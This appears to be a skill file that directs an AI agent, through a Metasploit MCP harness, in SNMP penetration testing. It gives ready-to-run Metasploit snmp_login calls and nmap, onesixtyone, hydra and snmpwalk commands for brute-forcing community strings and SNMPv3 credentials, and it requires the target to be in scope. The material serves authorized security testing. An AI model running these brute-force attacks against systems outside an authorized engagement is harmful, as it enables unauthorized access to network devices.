metasploit-cursor-harness: Skill for Cursor

SNMP Pentest

Prerequisites

• Target is in scope (scope/scope-master.txt, engagement ROE).

Ports and detection

Port	Service
161/udp	SNMP agent queries
162/udp	SNMP traps (outbound)
10161/udp	SNMP over TLS (when present)

Service discovery

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/snmp/snmp_login",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "RPORT": 161, "COMMUNITY": "public", "THREADS": 5}
)

CLI fallback:

nmap -sU -p161 --script "snmp* and not snmp-brute" <target>
onesixtyone -c community.txt <target>
snmp-check <target> -c public

Workflow

Task Progress:
- [ ] Community string brute force
- [ ] SNMPv3 auth brute
- [ ] MIB walk and OID enumeration
- [ ] Config and credential disclosure
- [ ] Write access / Net-SNMP extend RCE
- [ ] Document findings

Community string brute force (v1/v2c)

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/snmp/snmp_login",
  engagement_id="<id>",
  options={
    "RHOSTS": "<target>",
    "RPORT": 161,
    "COMMUNITY": "public",
    "PASS_FILE": "/usr/share/wordlists/snmp-default.txt",
    "THREADS": 10
  }
)

CLI fallback:

onesixtyone -c community.txt <target>
onesixtyone -i targets.txt -c community.txt
hydra -P community.txt -v <target> snmp
nmap -sU -p161 --script snmp-brute <target>

Default strings: public (read), private (read/write).

SNMPv3 auth brute

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/snmp/snmp_login",
  engagement_id="<id>",
  options={
    "RHOSTS": "<target>",
    "RPORT": 161,
    "VERSION": "3",
    "USERNAME": "admin",
    "PASSWORD": "password",
    "AUTH_PROTOCOL": "SHA",
    "PRIV_PROTOCOL": "AES",
    "THREADS": 5
  }
)

CLI fallback:

# Enumerate SNMPv3 engine ID and users
nmap -sU -p161 --script snmp-info <target>
# Brute auth/priv
onesixtyone -c community.txt <target>   # v1/v2c first
snmpwalk -v3 -l authNoPriv -u admin -a SHA -A password <target>
snmpwalk -v3 -l authPriv -u admin -a SHA -A password -x AES -X privpass <target>
# Hydra SNMPv3
hydra -P passwords.txt -v <target> snmp -m ":admin:SHA:"